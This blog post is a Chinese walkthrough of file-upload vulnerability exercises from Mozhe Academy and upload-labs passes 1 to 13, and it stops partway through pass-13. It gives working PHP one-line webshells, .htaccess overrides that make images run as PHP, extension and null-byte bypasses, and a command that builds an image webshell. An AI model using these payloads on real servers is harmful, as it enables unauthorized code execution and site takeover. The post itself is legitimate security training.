美文网首页菜鸟追梦实战系列
文件上传(upload-labs详细全解)

文件上传(upload-labs详细全解)

作者: 二潘 | 来源:发表于2018-12-06 11:04 被阅读65次

    文件上传漏洞

    • 常见的漏洞分类
       服务器配置不当导致文件上传
       开源编辑器存在上传漏洞
       本地文件上传限制可以上传被绕过
       服务器端过滤不严可以被绕过
       解析漏洞导致文件执行
       文件路径截断

    IIS6.0 解析漏洞

    在 Windows 2003下 IIS 6.0有两个漏洞。
    1、目录解析

    /xx.asp/xx.jpg

    利用方法:在网站下建立文件夹的名字为.asp、.asa的文件夹,其目录内的任何扩展名的文件都被iis当做是.asp的文件解析来执行。

    2、文件解析
    Abc.asp;.jpg

    利用方法:在iis6.0下,分号后面的不被解析,也就是说网站上传图片的时候,将网页木马文件的名字改成“*.asp;.jpg”,也同样会被 IIS 当作 asp 文件来解析并执行。例如上传一个图片文件,名字叫“vidun.asp;.jpg”的木马文件,该文件可以被当作 asp 文件解析并执行。,默认可执行的文件还包含三种:

    /abc.asa

    /abc.cer

    /abc.cdx

    IIS解析漏洞2:

    IIS解析漏洞1:
      在网站下建立文件夹的名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都被 IIS 当作 asp 文件来解析并执行。例如创建目录 vidun.asp,那么 /vidun.asp/1.jpg 将被当作 asp 文件来执行

    例子一:

    http://219.153.49.228:49837/ 访问网站(墨者学院)


    1.png

    1、先确定服务器的类型,先随便上传一个.asp文件,抓包发送到repeater,从报错信息可以看到服务器类型为:Server: Microsoft-IIS/6.0

    2.png

     2、修改upload目录为abc.asp,点击go


    3.png

     3、到上传路径和文件名


    4.png
     4、访问上传的木马文件,用菜刀链接
    5.png
    6.png

    例子二:
    上传可以看到上传的时候弹出一个弹窗,只让我们上传上面格式的文件,先看一下源码

    <!doctype html>
    <html lang="zh-cn">
    <head>
    <meta charset="utf-8">
    <title>Upload</title>
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="author" content="">
    <link href="static/bootstrap.css" rel="stylesheet">
    <link href="static/cover.css" rel="stylesheet">
    <script src="static/jquery.js"></script>
    <script src="static/bootstrap.js"></script>
    <script language="JavaScript">
    extArray = new Array(".gif", ".jpg", ".png");
    function LimitAttach(form, file) {
    allowSubmit = false;
    if (!file) return;
    while (file.indexOf("\\") != -1)
    file = file.slice(file.indexOf("\\") + 1);
    ext = file.slice(file.indexOf(".")).toLowerCase();
    for (var i = 0; i < extArray.length; i++) {
    if (extArray[i] == ext) { allowSubmit = true; break; }
    }
    if (allowSubmit) form.submit();
    else
    alert("对不起,只能上传以下格式的文件:  " 
    + (extArray.join("  ")) + "\n请重新选择符合条件的文件"
    + "再上传.");
    return false;
    }
    </script>
    </head>
    <body>
    <div class="site-wrapper">
      <form class="form-signin" action="upload.php" method="post" enctype="multipart/form-data" name="upload">
        <h3>请选择文件上传:</h3>
        <input class="form-control" type="file" name="uploadfile"/>
        <input type="submit" name="submit" value="上传文件" onclick="return LimitAttach(this.form, this.form.uploadfile.value)"/>
      </form>
    </div>
    </body>
    </html>
    

    发现前端存在js验证,只能识别图片格式的文件进行上传,这里有两种方法:

    第一种是:将一句话木马1.php的后缀名改成.jpg格式的然后进行上传,用burpsuit进行对文件格式改为1.php,上传成功后用菜刀进行链接获取shell,并找到key.

    第二种是: 先在浏览器输入about:config(仅限于火狐浏览器),然后搜索java script .enabled将切换为false,这样就禁用了javascript,前端验证不起作用 ,创建一句话木马 <?Php eval($_post[‘123’])?>,直接上传,返回上传路径 uploads/1.php,然后菜刀链接

    使用方法一进行测试,http://219.153.49.228:42415/ 访问网站

    随便上传一张图片用burpsuite抓包,修改文件夹后缀以及在内容里面添加一句话木马


    1.png

    访问返回木马的路径


    2.png
    菜刀连
    3.png

    例子三:
    1、上传很多次,都显示 不允许上传,后来把一句话木马写入到图片里面,然后通过burpsuit进行修改后缀,上传成功


    1.png

    burpsuit进行修改后缀


    2.png
    查看返回地址
    3.png

    菜刀连接

    4.png

    例子四:
    浏览器设置代理,上传一张正常的图片,burp抓包
    修改burpsuite抓到的包,在内容区域写入一句话木马,最好不要写在最前面,有可能上传的时候会检测文件头,尽量在中间写入木马


    image.png

    菜刀链接,找打key


    image.png

    例子五:
    文件后缀名绕过
    前提是:黑名单校验
    黑名单检测:一般有个专门的 blacklist 文件,里面会包含常见的危险脚本文件。
    绕过方法:
    (1)找黑名单扩展名的漏网之鱼 - 比如 asa 和 cer 之类
    (2)可能存在大小写绕过漏洞 - 比如 aSp 和 pHp 之类
    能被解析的文件扩展名列表:
    jsp jspx jspf
    asp asa cer aspx
    php php php3 php4
    exe exee

    1、上传是php文件的解析规则

    所以构造好php一句话木马

    2、使用burpsuit进行截断攻击

    简单的更改文件后缀名字发现有相应的过滤规则

    image.png

    3、尝试进行截断
    随便构造一个后缀名字。


    image.png

    4、成功上传,菜刀链接


    image.png

    例子六:
    这道题也是借助大佬的帮助才成功,具体我们来看:

    1.png
    先扫描一波目录看看 3.png

    发现了几个比较有用的目录,特别是upload1.php跟upload2.php两个上传页面
    我们先来访问upload1.php:


    image.png

    点击确定后是upload2.php,竟然是一片空白


    2.png
    不过中间好像有个上传的页面一闪而过,我们用burp抓包,来一页一页看页面
    8.png

    果然有这个页面,但是抓包的cookie引起了我们的注意:

    Cookie: uploadmd5=verify%2F2b10f3817a8604ef.txt
    

    我们查看源代码:


    7.png

    竟然还有一个隐藏的提交表单

    <input type="hidden" name="verify" value="2b10f3817a8604ef"/>
    

    我们解码这个 :2b10f3817a8604ef-----> 结果是 : 1543390594

    感觉好像跟题目没有一点关系的好吧

    但是我们又突然发现它是以 .txt结尾的,这是不是会存在任意文件读取漏洞,我们稍后尝试,我们进行下一步上传

    我们直接构造 shell.php 内容为 <?php @eval($_POST["cmd"]);?> 进行上传


    9.png
    10.png

    ok!已经成功了,可以用菜刀连接了 等等,咦路径呢?
    分析数据包可能是upload_file.php....我们访问试一下


    11.png
    然而并不是刚刚上传的木马,木马虽然传上去了,但是路径呢,路径呢

    突然想到还有一个可能包含任意文件读取的点,我们重新抓包
    verify%2F2b10f3817a8604ef.txt ------> upload_file.php

    12.png

    分析源代码

    <?php
    $path="uploadfile/";//ÉÏ´«Â·¾¶  
    $verify=$_POST["verify"];
    $time=date("Ymd");
    if($_FILES["filename"]["name"])  
    {  
    $file1=$_FILES["filename"]["name"];  
    $file2 = $path.$time.'_'.$verify.'_'.$file1;  
    $flag=1;  
    }  
    if($flag) $result=move_uploaded_file($_FILES["filename"]["tmp_name"],$file2);  
    if($result) echo "ÉÏ´«³É¹¦!";  
    
    ?> 
    

    源码中发现包含了上传路径

    $result=move_uploaded_file($_FILES["filename"]["tmp_name"],$file2);  
    

    关键在这一句,$file2 可能保存的就是文件的上传路径

    $file2 = $path.$time.'_'.$verify.'_'.$file1; 
    

    其中:

    $path="uploadfile/"
     $verify=$_POST["verify"];    我想到了那个隐藏的提交表单,其中value="2b10f3817a8604ef"
     $time=date("Ymd");   Ymd不就年月日,那今天就是20181128
    

    按照这样解释的话,路径也就是admin/uploadfile/20181128_2b10f3817a8604ef_shell.php
    这样猜想的,试试看
    访问,使用菜刀连接,获取key


    13.png

    后来才发现还有upload.php,御剑估计老了,我们用任意代码的漏洞查看


    12.png

    竟然是cookie的生成过程,哈哈哈

    到此为止,掌握方法,顺便告诉我们cookie的重要性

    墨者学院文件上传的题目到这里就全部做完,这样就够了,显然是不够的,我又本地搭建了Upload-labs靶场进行练习

    开始你的表演,先来张图压压惊


    1.png
    • pass-01
      上传文件,显示只能上传什么类型的


      2.png

    审查元素发现:是js验证

    function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name + "|") == -1) {
            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
            alert(errMsg);
            return false;
        }
    }
    

    这时要猜测判断文件后缀的代码是在前端还是后端,打开burp进行拦截,发现点击上传后,并没有进行发包。可知判断后缀的代码在前端,即用js代码判断的,打开浏览器的审查元素,找到文件上传的js代码


    3.png

    发现有一个checkFile()函数,推测可能是这个函数进行判断的,我们把它删除后再上传,或者也可以通过抓包的方式修改文件后缀进行绕过


    4.png
    上传之后查看源码,得到上传文件的路径
    1.png

    访问连接,菜刀连接


    5.png
    • pass-02
      第二关先进行黑盒测试,发现可以上传正常图片、修改后缀名的(shell.php改为shell.jpg)进行上传、抓包修改后缀名(上传shell.jpg抓包改为shell.php)、修改文件类型(上传shell.php,修改Content-Type: image/gif)成功上传木马。
    3.png

    这就说明只是服务器对后缀名进行验证,绕过问题不大。我们查看原代码分析下

    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists($UPLOAD_ADDR)) {
            if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
                if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                    $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
                    $is_upload = true;
    
                }
            } else {
                $msg = '文件类型不正确,请重新上传!';
            }
        } else {
            $msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建!';
        }
    }
    

    基础知识:

    $_FILES["file"]["name"] – 被上传文件的名称
    $_FILES["file"]["type"] – 被上传文件的类型
    $_FILES["file"]["size"] – 被上传文件的大小,以字节计
    $_FILES["file"]["tmp_name"] – 存储在服务器的文件的临时副本的名称
    $_FILES["file"]["error"] – 由文件上传导致的错误代码
    
    
    move_uploaded_file(file,newloc) 函数将上传的文件移动到新位置。
    参数  描述
    file    必需。规定要移动的文件。
    newloc  必需。规定文件的新位置。
    如果 file 不是合法的上传文件,不会出现任何操作,move_uploaded_file() 将返回 false。
    如果 file 是合法的上传文件,但出于某些原因无法移动,不会出现任何操作,move_uploaded_file() 将返回 false,此外还会发出一条警告。
    

    可以看到这里采用的是后端验证文件类型, 但是他只过滤的文件类型, 并没有过滤文件后缀名, 所以可以上传 php 文件修改 content-type 绕过, 可以看到成功执行了 phpinfo


    4.png
    2.png
    • pass-03
       禁止上传.asp|.aspx|.php|.jsp后缀文件
      用上面方法发现上传都不行,发现对.asp|.aspx|.php|.jsp后缀名进行了严格的限制。
      用[.htaccess]从新解析.htaccess的内容是,意思是让jpg格式的文件也当成php文件运行
    AddType application/x-httpd-php .jpg
    
    TIM图片20181204100742.png

    当然也需要apache支持
      配置文件LoadModule rewrite_module modules/mod_rewrite.so前的注释去掉,寻找关键词:AllowOverride,并把后面的参数从None全部改成All
    首先上传.htaccess文件,再上传jpg文件解析成功


    TIM图片20181204100742.png TIM图片20181204100742.png
    注.htaccess基础知识重点内容

    .htaccess文件(或者”分布式配置文件”),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
     启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。
    它里面有这样一段代码:AllowOverride None,如果我们把None改成All


    3.png
    • pass-04
      查看源代码
    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists($UPLOAD_ADDR)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = deldot($file_name);//删除文件名末尾的点
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext = trim($file_ext); //收尾去空
    
            if (!in_array($file_ext, $deny_ext)) {
                if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                    $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
                    $is_upload = true;
                }
            } else {
                $msg = '此文件不允许上传!';
            }
        } else {
            $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
        }
    }
    

    虽然还是黑名单,但几乎过滤了所有有问题的后缀名,除了.htaccess,于是首先上传一个.htaccess内容如下的文件:

    SetHandler application/x-httpd-php
    
    TIM截图20181204105318.png

    这样所有文件都会解析为php,然后再上传图片马,就可以解析:


    TIM截图20181204112219.png

    访问


    TIM截图20181204112616.png
    • pass-05
      查看源代码
    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists($UPLOAD_ADDR)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = deldot($file_name);//删除文件名末尾的点
            $file_ext = strrchr($file_name, '.');
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext = trim($file_ext); //首尾去空
    
            if (!in_array($file_ext, $deny_ext)) {
                if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                    $img_path = $UPLOAD_ADDR . '/' . $file_name;
                    $is_upload = true;
                }
            } else {
                $msg = '此文件不允许上传';
            }
        } else {
            $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
        }
    }
    
    

    现在这个.htaccess是上传是不行的。分析下代码发现,他少了这么一行,出现比较严重的问题。

    $file_ext = strtolower($file_ext); //转换为小写
    

    可以看到在第五关代码中没有这个


    4.png

    于是可以通过大小写绕过:


    1.png
    发现成功上传,可以访问一下,发现成功执行:
    2.png
    • pass-06
      查看源代码
    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists($UPLOAD_ADDR)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
            $file_name = $_FILES['upload_file']['name'];
            $file_name = deldot($file_name);//删除文件名末尾的点
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            
            if (!in_array($file_ext, $deny_ext)) {
                if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                    $img_path = $UPLOAD_ADDR . '/' . $file_name;
                    $is_upload = true;
                }
            } else {
                $msg = '此文件不允许上传';
            }
        } else {
            $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
        }
    }
    
    

    发现依然是黑名单,但这次程序没有对文件后缀去空(其实如果程序没有对文件进行重命名的话,可以借one.php .jpg绕过白名单的)

    上传一个php文件,抓包将文件名后缀加上空格,如下图


    1.png

    访问:


    2.png
    • pass-07
      查看源代码:
    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists($UPLOAD_ADDR)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
            $file_name = trim($_FILES['upload_file']['name']);
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext = trim($file_ext); //首尾去空
            
            if (!in_array($file_ext, $deny_ext)) {
                if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                    $img_path = $UPLOAD_ADDR . '/' . $file_name;
                    $is_upload = true;
                }
            } else {
                $msg = '此文件不允许上传';
            }
        } else {
            $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
        }
    }
    
    

    还是黑名单,但是没有对后缀名进行去”.”处理,利用windows特性,会自动去掉后缀名中最后的”.”,可在后缀名中加”.”绕过:


    1.png

    访问


    2.png
    • pass-08
      查看源代码
    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists($UPLOAD_ADDR)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = deldot($file_name);//删除文件名末尾的点
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = trim($file_ext); //首尾去空
            
            if (!in_array($file_ext, $deny_ext)) {
                if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                    $img_path = $UPLOAD_ADDR . '/' . $file_name;
                    $is_upload = true;
                }
            } else {
                $msg = '此文件不允许上传';
            }
        } else {
            $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
        }
    }
    

    说实话第八关这个绕过方式我之前根本不知道的,就是在php+windows的情况下:如果文件名+"::DATA"会把::DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名。

    1.png 2.png

    具体原理还不是很清楚。。

    • pass-09
      这关算是一个逻辑漏洞
      查看源码
    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists($UPLOAD_ADDR)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = deldot($file_name);//删除文件名末尾的点
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext = trim($file_ext); //首尾去空
            
            if (!in_array($file_ext, $deny_ext)) {
                if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                    $img_path = $UPLOAD_ADDR . '/' . $file_name;
                    $is_upload = true;
                }
            } else {
                $msg = '此文件不允许上传';
            }
        } else {
            $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
        }
    }
    

    黑名单过滤,注意第15行和之前不太一样,程序先是去除文件名前后的空格,再去除文件名最后所有的.,再通过strrchar来寻找.来确认文件名的后缀,但是最后保存文件的时候没有重命名而使用的原始的文件名,导致可以利用类似shell.php. .(两个点号之间有一个空格)绕过,如果重名名了文件的话应该会用$file_ext来进行拼凑文件,这样保存在服务器中的文件将没有后缀(去除了.空格)

    $img_path = $UPLOAD_ADDR . '/' . $file_name;
    
    1.png

    访问


    2.png
    • pass-10
      查看源码
    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists($UPLOAD_ADDR)) {
            $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
    
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = str_ireplace($deny_ext,"", $file_name);
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
                $img_path = $UPLOAD_ADDR . '/' .$file_name;
                $is_upload = true;
            }
        } else {
            $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
        }
    }
    

    依旧是黑名单过滤,注意到,这里是将问题后缀名替换为空,于是可以利用双写绕过:

    $file_name = str_ireplace($deny_ext,"", $file_name);
    
    1.png

    返回


    2.png
    • pass-11 采用00截断GET方式
      最初并不了解这种方式,是看了大佬的笔记之后才做出来的,当然也要借鉴大佬的笔记啦,主要是大佬笔记做的很全面
    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $ext_arr = array('jpg','png','gif');
        $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
        if(in_array($file_ext,$ext_arr)){
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
    
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            }
            else{
                $msg = '上传失败!';
            }
        }
        else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
        }
    }
    
    

    基础补充两个函数:substr()、strrpos()

    strrpos()
    
    定义和用法
    strrpos() 函数查找字符串在另一字符串中最后一次出现的位置。
    注释:strrpos() 函数对大小写敏感。
    相关函数:
    stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
    strpos() - 查找字符串在另一字符串中第一次出现的位置(区分大小写)
    strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
    语法
    strrpos(string,find,start)
    参数  描述
    string  必需。规定被搜索的字符串。
    find    必需。规定要查找的字符。
    start   可选。规定在何处开始搜索。
    
    substr()
    
    这里写代码片语法
    substr(string,start,length)
    参数  描述
    string  必需。规定要返回其中一部分的字符串。
    start   必需。规定在字符串的何处开始。正数 - 在字符串的指定位置开始  负数 - 在从字符串结尾开始的指定位置开始0 - 在字符串中的第一个字符处开始
    length  可选。规定被返回字符串的长度。默认是直到字符串的结尾。正数 - 从 start 参数所在的位置返回的长度负数 - 从字符串末端返回的长度
    

    理解测试代码:

    <?php
    $a = '1.jpg';
    $file_ext = substr($a,strrpos($a,".")+1);
    var_dump($file_ext);
    ?>
    返回jpg
    

    分析代码:

     $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
    

    发现那个路径没有处理直接拼接上去的。所以可以利用00截断绕过。但是发现怎么截断都没有用。查阅资料得知:

    截断条件:
        php版本小于5.3.4 详情关注CVE-2006-7243
        php的magic_quotes_gpc为OFF状态   //如果不修改将无法上传成功,默认为ON
    

    我本地的版本为5.2.17


    1.png

    开始测试:
    上传文件—截断—修改文件后缀—看返回的路径


    1.png
    访问,成功上传
    2.png
    • pass-12 采用00截断POST方式
      查看并分析源码
    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $ext_arr = array('jpg','png','gif');
        $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
        if(in_array($file_ext,$ext_arr)){
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
    
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            }
            else{
                $msg = "上传失败";
            }
        }
        else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
        }
    }
    

    和十一关不同的是这次的save_path是通过post传进来的,还是利用00截断,但这次需要在二进制中进行修改,因为post不会像get对%00进行自动解码 
    或者你也可以使用url-decode进行编码之后进行上传文件,同样可以解析成功


    2.png

    我们依然使用00截断方法:

    1.png

    来到+号对应的二进制2b将他改为00


    2.png

    点击go进行上传


    3.png
    访问
    4.png

    上面这种方式有一点点繁琐,下面这种方式比较好上手
    选中%00—编码—点击go—即可上传成功—访问


    5.png 7.png 8.png
    • pass-13 图片马上传
      查看源码
    function getReailFileType($filename){
        $file = fopen($filename, "rb");
        $bin = fread($file, 2); //只读2字节
        fclose($file);
        $strInfo = @unpack("C2chars", $bin);    
        $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
        $fileType = '';    
        switch($typeCode){      
            case 255216:            
                $fileType = 'jpg';
                break;
            case 13780:            
                $fileType = 'png';
                break;        
            case 7173:            
                $fileType = 'gif';
                break;
            default:            
                $fileType = 'unknown';
            }    
            return $fileType;
    }
    
    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $file_type = getReailFileType($temp_file);
    
        if($file_type == 'unknown'){
            $msg = "文件未知,上传失败!";
        }else{
            $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$file_type;
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            }
            else{
                $msg = "上传失败";
            }
        }
    }
    
    

    发现主要是取上传文件的头两个字节判断文件类型,因此直接上传图片马即可
    图片马的制作

    copy normal.jpg /b + shell.php /a webshell.jpg 
    

    上传图片马:

    相关文章

      网友评论

        本文标题:文件上传(upload-labs详细全解)

        本文链接:https://www.haomeiwen.com/subject/ymbwzftx.html